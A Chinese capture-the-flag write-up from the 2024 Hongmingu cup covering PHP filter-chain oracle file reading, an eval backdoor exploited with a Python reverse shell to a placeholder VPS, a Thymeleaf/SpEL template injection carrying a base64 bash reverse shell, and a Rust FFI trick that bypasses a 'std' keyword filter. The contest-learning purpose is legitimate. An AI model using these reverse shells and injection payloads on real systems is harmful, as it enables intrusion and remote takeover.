Web
ezphp
题目描述:一支专注于卫星通信技术的研究团队正在努力改进他们的通信系统,以提高数据传输的效率和安全性,团队决定采用PHP 8.3.2来完善通信系统开发。
考点:php filter chain Oracle
题目给出源码如下
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>
这里可以用的项目:https://github.com/synacktiv/php_filter_chains_oracle_exploit/
考点:可用PHP Filter
链-基于oracle的文件读取攻击生成exp执行,题目提示php版本号正好满足条件,下载exp进行利用执行
payload
,这里可能需要多跑几次才可以
python3 filters_chain_oracle_exploit.py --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.ichunqiu.com/ --file flag.php --parameter f
访问/flag.php?ezphpPhp8
,读取生成的源码本地调试,发现这里是可以用匿名类去读取出来flag,构造payload
构造
exp
/flag.php?ezphpPhp8=anonymous
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1
unauth
www.zip泄露
开局一个登录口,发现存在目录泄露www.zip
得到后台密码登录后台存在一处
命令执行
,源码如下
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';
if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>
简单审计一下,这里我们需要构造cmd
进行传参即可,bypass构造反弹shell
//GET传参
?cmd=eval($_POST[1]);
//POST传参
1=pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("VPS",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
最终需要提权,尝试suid未果,发现存在配置文件config.inc.php
,其密码是admin用户密码
发包反弹shell,执行命令来到交互式shell,利用获取到的密码
b90e0086d8b1165403de6974c4167165
切换admin用户读取flag
即可
playground
rust源码审计
题目给出源码如下,这题基本给解烂了
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
题目逻辑大致就是去构造rust_code
执行rust代码,这里需要不出现std
关键字,可执行命令,拷打ai
就能出的题,绕过可调用C语言去执行,添加一个write函数()读就行了
,附上payload
extern "C" {
// Existing bindings to C library functions for file operations
fn fopen(filename: *const u8, mode: *const u8) -> *mut u8;
fn fread(buffer: *mut u8, size: usize, count: usize, stream: *mut u8) -> usize;
fn fclose(stream: *mut u8) -> i32;
// Bind to the `write` function for writing to a file descriptor
fn write(fd: i32, buf: *const u8, count: usize) -> isize;
}
fn main() {
unsafe {
// Open the file in read mode ("r")
let filename = b"/flag "; // C strings require a null-terminator
let mode = b"r "; // Mode "r" for read
let file_ptr = fopen(filename.as_ptr(), mode.as_ptr());
if !file_ptr.is_null() {
let mut buffer = [0u8; 1024];
// Read from the file into the buffer
let bytes_read = fread(buffer.as_mut_ptr(), 1, buffer.len(), file_ptr);
if bytes_read > 0 {
write(1, buffer.as_ptr(), bytes_read);
} else {
// Handle the case where nothing was read
println!("Could not read from file or file was empty.");
}
// Close the file
fclose(file_ptr);
} else {
// Handle the case where file couldn't be opened
println!("Could not open the file.");
}
}
}
Simp1escape-赛后
Thymeleaf模板注入/Location跳转
赛后弄出来了,题目给了一个jar
文件,进行反编译分析这一段这里是可以进行绕过的,构造
302跳转
去执行模板注入,/curl?url
进行访问vps地址,下面为index.php
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTEuMjI5LjE1OC40MC8zMzM0IDA%2BJjE%3D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");
exit;
最后构造执行反弹shell,
/readflag
读取即可
Misc
定位签到
题目描述:
题目内容:BD09 longitude: 117.813707, latitude: 26.381977
(提交格式:flag{4个中文字})
解题思路:定位经纬度,搜出来一个三明北站
,得到flag值
原文始发于微信公众号(ACT Team):2024年数字中国创新第四届红明谷杯网络安全大赛Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论